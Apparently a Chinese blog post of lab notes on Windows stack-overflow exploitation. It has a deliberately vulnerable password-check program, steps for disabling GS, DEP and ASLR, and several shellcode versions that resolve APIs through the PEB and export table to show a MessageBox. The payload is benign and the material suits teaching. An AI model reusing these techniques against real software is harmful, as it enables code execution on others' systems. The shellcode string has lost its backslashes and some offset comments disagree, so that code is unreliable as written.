• ShellCode



    典型栈溢出A-代码分析

    ShellCode-A

    #include "pch.h"
    #include <iostream>
    #include <Windows.h>
    #define PASSWORD "15PB"
    // GS: 用于判断当前是否产生了溢出,依赖的是检查安全 cookie, CheckStackValue
    // inline: 没有关闭代码优化,导致一些简单的代码被直接内联了
    // dep: 这个程序中不关闭 DEP 会导致 shellcode 无法执行
    // aslr: 地址空间随机化,栈和加载基址等都不是固定的,需要关闭它
    int VerifyPassword(char *pszPassword, int nSize)
    {
        // szBuffer 是溢出的数组,溢出的数据被保存在这个位置
    char szBuffer[50] = {0};
        // 崩溃产生的原因是 nSize 作为拷贝的大小,超出了栈的范围
    memcpy(szBuffer, pszPassword, nSize);
    return strcmp(PASSWORD, szBuffer);
    }

    int main()
    {
    int nFlag = 0;
    char szPassword[0x200] = {0};
    int nFileSize = 0;
    FILE *fp;
    LoadLibraryA("user32.dll");
    if (NULL==(fp=fopen("password.txt","rb")))
    {
    MessageBoxA(NULL, "打开文件失败", "error", NULL);
    exit(0);
    }
    fseek(fp, 0, SEEK_END);
    nFileSize = ftell(fp);
    rewind(fp);
    fread(szPassword, nFileSize, 1, fp);
    nFlag = VerifyPassword(szPassword, nFileSize);
    if (nFlag)
    {
    printf("密码错误");
    }
    else
    {
    printf("密码正确");
    }
    fclose(fp);
    system("pause");
    return 0;
    }

    禁用安全检查

    1565589379281

    禁用优化

    1565589513405

    禁用随机地址

    1565630796541

    在同个文件夹下面创建password.txt。输入很多A,让程序崩溃。

    控制面板-管理工具-日志-程序应用

    1565591056365

    因为我输入的是全部A的一长串,所以这里显示41是A的ascii吗。

    1565591678067

    1565592486057

    找到的MessageBoxA地址是76FA1F85

    用010Editor修改。会弹出白框。

    1565630986597

    1565595231639

    ShellCode-B

    1565599207778

    1565599640353

    1565599920615

    #include "pch.h"
    #include <iostream>
    #include <windows.h>
    int main()
    {
    __asm
    {
    SUB ESP, 0x20
    JMP tag_Shellcode
    _asm _emit(0x70)_asm _emit(0x1F)_asm _emit(0xFA)_asm _emit(0x76)
    _asm _emit(0x20)_asm _emit(0x4F)_asm _emit(0x2F)_asm _emit(0x77)
    _asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
    _asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
    _asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
    _asm _emit(0x00)
    tag_Shellcode:
    CALL tag_Next
    tag_Next :
    POP ESI
    XOR EDX, EDX
    LEA EDI, [ESI - 0X12]
    MOV EAX, [ESI - 0X1A]
    PUSH EDX
    PUSH EDI
    PUSH EDI
    PUSH EDX
    CALL EAX
    MOV EAX, [ESI - 0X16]
    PUSH EDX
    CALL EAX
    }
    MessageBoxA(0, 0, 0, 0);
    }

    详细讲解:

    ShellCode-C

    #include <windows.h>

    // 定义成数组是为了让字符串不被保存在常量区
    char shellcode[] = "x83xECx20xEBx15x80x03xB4x77xF0x58x72x77x48x65x6Cx6Cx6Fx20x57x6Fx72x6Cx64x21x00xE8x00x00x00x00x5Ex33xD2x8Dx7ExEEx8Bx46xE6x52x57x57x52xFFxD0x8Bx46xEAx52xFFxD0";

    // dep: 数据执行保护,防止数据区域被作为代码执行

    int main()
    {
    /*__asm
    {
    ; 如果没有开辟栈帧,那么在操作 ebp 和 esp 的地址时,极有可能
    ; 会覆盖掉已执行或未执行的 shellcode 代码,所以通常需要开辟空间
    ; 并且开辟的大小应该要大于 OPCODE 的长度
    sub esp, 0x20
    ; 跳转到 shellcode 区域
    jmp tag_Shellcode
    ; (getpc() - 0x1A) MessageBoxA 的地址,由于通常使用小端存储,需要按字节颠倒顺序
    _asm _emit(0x80) _asm _emit(0x03) _asm _emit(0xB4) _asm _emit(0x77)
    ; (getpc() - 0x16) ExitProcess 的地址,同样通过 ctrl + g 找到的
    _asm _emit(0xF0) _asm _emit(0x58) _asm _emit(0x72) _asm _emit(0x77)
    ; (getpc() - 0x12) Hello 15Pb 字符串,_emit 添加一个字符到所在位置
    _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
    _asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
    _asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
    _asm _emit(0x00)

    ; 使用了 GetPC 技术,用于获取一个基址,作为参照物
    tag_Shellcode:
    call tag_next
    tag_next:
    ; call 会使当前指令的地址入栈, pop 获取了当前指令地址
    ; 将当前指令所在的地址,作为想要查找的数据的参照基址
    pop esi

    ; 获取函数地址和参数,并且调用 MessageBoxA
    xor edx, edx
    lea edi, [esi - 0x12]
    mov eax, [esi - 0x1A]
    push edx
    push edi
    push edi
    push edx
    call eax

    ; 获取 ExitProcess 函数,退出程序
    mov eax, [esi - 0x16]
    push edx
    call eax
    }*/

    __asm
    {
    lea eax, shellcode
    push eax
    ret
    }

    // 为了让当前程序中存在 MessageBoxA 这个函数
    MessageBoxA(0, 0, 0, 0);
    }

    // 通过使用 jmp esp 地址覆盖返回地址,使 ret 时,跳转到 jmp esp 指令 位置
    // jmp esp 的地址会因为 ret 而被 pop 出来,所以 shellcode 需要紧跟着写在
    // jmp esp 地址的后面。

    ShellCode-G


    #include "pch.h"
    #include <iostream>
    #include <windows.h>
    int main()
    {
    __asm
    {
    PUSHAD
    SUB ESP, 0x20          //开辟一段栈空间,增加健壮性。
    JMP tag_Shellcode   //前置代码,避免后面的数据被解释为指令

    // GetProcAddress
    // [tag_Next-0x51]
    _asm _emit(0x47)_asm _emit(0x65)_asm _emit(0x74)_asm _emit(0x50)
    _asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)_asm _emit(0x41)
    _asm _emit(0x64)_asm _emit(0x64)_asm _emit(0x72)_asm _emit(0x65)
    _asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)

    // LoadLibraryExA
    // [tag_Next-0x43]       
    _asm _emit(0x4C)_asm _emit(0x6F)_asm _emit(0x61)_asm _emit(0x64)
    _asm _emit(0x4C)_asm _emit(0x69)_asm _emit(0x62)_asm _emit(0x72)
    _asm _emit(0x61)_asm _emit(0x72)_asm _emit(0x79)_asm _emit(0x45)
    _asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)

    // User32.DLL
    // [tag_Next-0x34]         
    _asm _emit(0x55)_asm _emit(0x73)_asm _emit(0x65)_asm _emit(0x72)
    _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
    _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)

    // MessageBoxA
    // [tag_Next-0x19] 
    _asm _emit(0x4D)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)
    _asm _emit(0x61)_asm _emit(0x67)_asm _emit(0x65)_asm _emit(0x42)
    _asm _emit(0x6F)_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)

    // ExitProcess
    // [tag_Next-0x1D]        
    _asm _emit(0x45)_asm _emit(0x78)_asm _emit(0x69)_asm _emit(0x74)
    _asm _emit(0x50)_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)
    _asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)

    // HelloWorld!
    // 因为Call tag_Next=push eip+jmp tag_Next的地址.
    // 所以这里是[tag_Next-0x11]
    // -0x12是因为这里_emit插入了12个字符,机器码位置+12+5个call的字节之后就是tag_Next的机器码位置。
    _asm _emit(0x48)_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x6C)
    _asm _emit(0x6F)_asm _emit(0x20)_asm _emit(0x57)_asm _emit(0x6F)
    _asm _emit(0x72)_asm _emit(0x6C)_asm _emit(0x64)_asm _emit(0x00)



    // 1.GetPC
    tag_Shellcode:
    CALL tag_Next
    tag_Next :
    pop ebx //ebx = BaseAddr

    // 2.获取关键模块基址
    mov esi,dword ptr fs:[0x30] // esi = PEB的地址
    mov esi,[esi+0x0C] // esi = 指向PEB_LDR_DATA结构的指针
    mov esi,[esi+0x1C] // esi = 模块链表指针InInit..List
    mov esi,[esi] // esi = 访问链表中的第二个条目
    mov edx,[esi+0x08] // edx = 获取Kernel32.dll基址
    // 3.获取GetProcAddress的函数地址
    push ebx // BaseAddr
    push edx // Kernel32.dll
    call fun_GetProcAddress
    mov esi,eax

    // 4.获取LoadLibraryExA的函数地址
    lea ecx,[ebx-0x43]          // LoadLibraryEXw
    push ecx            // 传参-lpProcName=LoadLibraryExA
    push edx            // 传参-hModule=Kernel32.dll
    call eax            // GetProcAddress

    // 5.调用Payload部分
    push ebx        //BaseAddr
    push esi        //Addr_GetProcAddress
    push eax        //Addr_LoadLibraryExA
    push edx        //Kernerl32.dll
    call fun_Payload        //调用Payload

    //////////////////////////////////////////////////////////////////////////
    // 函数:获取关键函数地址,返回值为关键函数地址
    //////////////////////////////////////////////////////////////////////////
    fun_GetProcAddress://(int ImageBase,int BaseAddr)
    push ebp
    mov ebp,esp
    sub esp,0x0C
    push edx

    // 获取EAT ENT EOT
    mov edx,[ebp+0x08]       // 第二个参数Kernel32.dll
    mov esi,[edx+0x3C] // IMAGE_DOS_HEADER.E_LFANEW
    lea esi,[edx+esi] // PE文件头VA
    mov esi,[esi+0x78] // IMAGE_DIR...EXPORT.VirtualAddress
    lea esi,[edx+esi] // 导出表VA
    mov edi,[esi+0x1C] // IMAGE_EXP...ORY.AddressOfFuntions
    lea edi,[edx+edi] // EAT VA
    mov [ebp-0x04],edi // LOCAL_1
    mov edi,[esi+0x20] // IMAGE_EXP...ORY.AddressOfNames
    lea edi,[edx+edi] // ENT VA
    mov [ebp-0x08],edi // LOCAL_2
    mov edi,[esi+0x24] // IMAGE_EXP...ORY.AddressOfNameOrdinals
    lea edi,[edx+edi] // EOT VA
    mov [ebp-0x0C],edi // LOCAL_3

    xor eax,eax // 清零
    jmp tag_FirstCmp
    tag_CmpFunNameLoop: //
    inc eax // 循环计数增加1


    tag_FirstCmp:

    mov esi,[ebp-0x08] // LOCAL_2 ENT
    mov esi,[esi+4*eax] // ENT RVA 数组 eax为i
    mov edx,[ebp+0x08] // PARAM_1 =IMAGEBASE
    lea esi,[edx+esi] // ENT VA=IMAGEBASE+RVA
    mov ebx,[ebp+0x0C] // PARAM_2 =BaseAddr
    lea edi,[ebx-0x52] // GetProcAddress
    mov ecx,0x0E // GetProcAddress长度
    cld
    repe cmpsb
    jne tag_CmpFunNameLoop   // 如果不相等就继续比较
    // 3.成功后找到对应的序号
    mov esi,[ebp-0x0C] // LOCAL_3(EOT)
    xor edi,edi
    mov di,[esi+eax*2]       // 用函数名数组下标在序号数组找到对应的序号
    // 4.使用序号作为索引,找到函数名所对应的函数地址
    mov edx,[ebp-0x04] // LOCAL_1(EAT)
    mov esi,[edx+edi*4] // 用序号在函数地址数组找到对应的函数地址
    mov edx,[ebp+0x08] // PARAM_1(ImageBase)
    // 5.返回获取到的关键函数地址
    lea eax,[edx+esi] //GetProcAddress的地址
    pop edx
    mov esp,ebp
    pop ebp
    retn 0x08

    //////////////////////////////////////////////////////////////////////////
    //函数:有效载荷部分,返回值为NULL
    //////////////////////////////////////////////////////////////////////////

    fun_Payload://(int Kernel32_Base,int LoadLibraryExW,int GetProcAddress,int BaseAddr)

    PUSH EBP
    MOV EBP,ESP
    SUB ESP,0x08
    MOV EBX,[EBP+0x14]       // PARAM_4(BaseAddr)
    // 1.获取MessageBoxA的地址
    LEA ECX,[EBX-0x34]       // User32.dll
    PUSH 0     // dwFlags=0
    PUSH 0     // hFile =0
    PUSH ECX     // lpLibFileName =User32.dll
    CALL [EBP+0X0C]     // LoadLibraryExA()
    LEA ECX,[EBX-0X29]     // MessageBoxA
    PUSH ECX     // lpProcName=MessageBoxA
    PUSH EAX     // hMoudule =User32.dll基址
    CALL [EBP+0X10]     // GetProcAddress()
    MOV [EBP-0X04],EAX 
    // 2.获取ExitProcess的函数地址
    LEA ECX,[EBX-0X1D] // ExitProcess
    PUSH ECX // lpProcName=ExitProcess
    PUSH [EBP+0X08] // hModule =Kernel32.dll
    CALL [EBP+0X10] // GetProcAddress()
    MOV [EBP-0X08],EAX
    // 3.显示helloworld
    LEA ECX,[EBX-0X11]  // Hello World
    PUSH 0  // uType
    PUSH ECX  // lpCaption
    PUSH ECX  // lpText
    PUSH 0  // hWnd
    CALL [EBP-0X04]  // MessageBoxA()
    PUSH 0  // uExitCode=0
    CALL [EBP-0X08]  // ExitProcess()
    MOV ESP,EBP 
    POP EBP 
    RETN 0X10 
    }

    }
  • 相关阅读:
    5.小程序-生命周期函数
    4.小程序-路由跳转
    3.小程序-事件绑定
    2.小程序-数据绑定
    1.小程序index页静态搭建
    小程序简介
    单链表(Go)
    输入一个字符串,里面有26个英文字母和(半角逗号半角空格半角句号)按照()里的内容进行分割,遇到大写字母把其变成小写,遇到小写的将其变成大写然后输出字符串
    排序算法
    单例模式
  • 原文地址:https://www.cnblogs.com/ltyandy/p/11343855.html
Copyright © 2020-2023  润新知